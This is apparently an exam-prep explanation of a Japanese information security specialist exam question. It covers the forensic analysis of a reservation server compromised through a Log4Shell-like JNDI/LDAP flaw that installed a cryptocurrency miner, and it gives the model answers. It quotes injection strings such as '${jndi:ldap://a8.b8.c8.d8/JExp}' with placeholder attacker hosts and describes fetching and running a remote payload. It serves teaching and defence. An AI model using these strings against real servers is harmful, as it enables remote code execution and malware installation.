情報処理安全確保支援士試験 令和4年度 秋期 午後1 問2
【出典:情報処理安全確保支援士試験 令和4年度 秋期 午後1 問2(一部、加工あり)】
[予約サーバの調査]
D主任は、①表3の内容から、runプロセスが稼働している原因の追求にはTソフトを調べる必要があると判断した。B社に状況を説明し、不具合やセキュリティ上の問題がないか確認したところ、U社が利用しているバージョンには、脆弱性があることが分かった。
その脆弱性とは、Tソフトが利用しているライブラリXというオープンソースのライブラリに存在する、リモートから任意のコードが実行可能となる脆弱性(以下、脆弱性Yという)である。ライブラリXと脆弱性Yの説明を図2に示す。
runプロセスの稼働前後の13:00:00から13:16:00までの、予約サーバのアクセスログを調査した結果、表5に示す、脆弱性Yを悪用したと考えられるアクセスログを発見した。
D主任はrunプロセスがどのような経緯で起動したかを調査するために、FWの通信ログを確認した。runプロセス起動前後の13:00:00から13:16:00までのFWの通信ログのうち、予約サーバを送信元とするものを表6に示す。
D主任はここまでの調査で分かった情報から、予約サーバへの攻撃の流れを表7のとおりまとめた。
U社がインシデント対応支援の契約をしているセキュリティベンダーの情報処理安全確保支援士(登録セキスペ)であるE氏の協力を得てrunプロセスについての調査を進めた結果、暗号資産採掘ソフトウェアであることが分かった。予約サーバにおいて、予約情報への不正なアクセスは確認できなかった。
下線①について、Tソフトを調べれば分かると判断した理由を、40字以内で具体的に述べよ。:runプロセスの親プロセスがTソフトのプロセスであるから
「D主任は、①表3の内容から、runプロセスが稼働している原因の追求にはTソフトを調べる必要があると判断した。」
表3を見てみましょう。
表3のプロセス一覧には、各プロセスを起動した親プロセスIDとその開始時刻が示されています。
runプロセスは、親プロセスIDが「100」つまりjava BSoftMainから起動されていることが分かります。
そして、java BSoftMainについては、前の記述で「情報システム部の予約サーバの担当者が調査したところ、普段予約サーバでは、BSoftMainとSBMainというTソフトのプロセスが稼働しているが、この日はrunという名称の見慣れないプロセス(以下、runプロセスという)も稼働していた。」とあるように、Tソフトのプロセスであることが分かります。
したがって、runプロセスが稼働している原因の追求には、親プロセスがあるTソフトを調べればいいでしょう。
b:13:04:32、c:13:05:50、d:a8.b8.c8.d8、e:LDAP、f:JExp
まず、脆弱性Yを利用した攻撃例について、図2(ライブラリXと脆弱性Yの説明)の[脆弱性YにおいてLDAPを利用した攻撃の例]から整理しておきましょう。
- 攻撃者が、攻撃文字列”$(jndi:ldap://a4.b4.c4.d4/Exploit)”を含むHTTPリクエストを送る。攻撃対象のWebサーバにおいて、ライブラリXがログ出力処理をする文字列中に当該攻撃文字列が含まれると、ライブラリXはIPアドレスがa4.b4.c4.d4のサーバに対し、LDAPで”Exploit”というクエリを送る。
- 攻撃者の用意したIPアドレスがa4.b4.c4.d4のLDAPサーバは、”Exploit”というクエリを受け、”http://a5.b5.c5.d5/JClass”を取得させるための情報を返す。
- ライブラリXはURLに従い、攻撃者の用意したWebサーバであるa5.b5.c5.d5のサーバにアクセスし、レスポンスに含まれるJavaクラスである”JClass”を実行する。
- JClassは、攻撃者の用意したURLである”http://a6.b6.c6.d6/malwarex”にリクエストを送り、レスポンスに含まれるファイルを”malwarex”というファイル名で保存し、実行する。
これに対応する表7(予約サーバへの攻撃の流れ)を見ていきます。
表7の番号1は、攻撃者が予約サーバに対して通信を行ったもので、上記の1項にある「攻撃者が、攻撃文字列”$(jndi:ldap://a4.b4.c4.d4/Exploit)”を含むHTTPリクエストを送る。」に該当します。
そして、これは表5(脆弱性Yを悪用したと考えられるアクセスログ)から、時刻が「13:04:32」であることが分かります。
番号2は「予約サーバが、IPアドレスが(d)のホストの(e)サービスに(f)というクエリを送った。」とあり、上記の1項にある「攻撃対象のWebサーバにおいて、ライブラリXがログ出力処理をする文字列中に当該攻撃文字列が含まれると、ライブラリXはIPアドレスがa4.b4.c4.d4のサーバに対し、LDAPで”Exploit”というクエリを送る。」に該当します。
実際の通信では、表5のユーザエージェント「${jndi:ldap://a8.b8.c8.d8/JExp}」になるので、「予約サーバが、IPアドレスが(d:a8.b8.c8.d8)のホストの(e:LDAP)サービスに(f:JExp)というクエリを送った。」となります。
そして、これは表6(予約サーバを送信元とするFWの通信ログ)で、宛先「a8.b8.c8.d8」、サービス「LDAP」である時刻が「13:05:50」であることが分かります。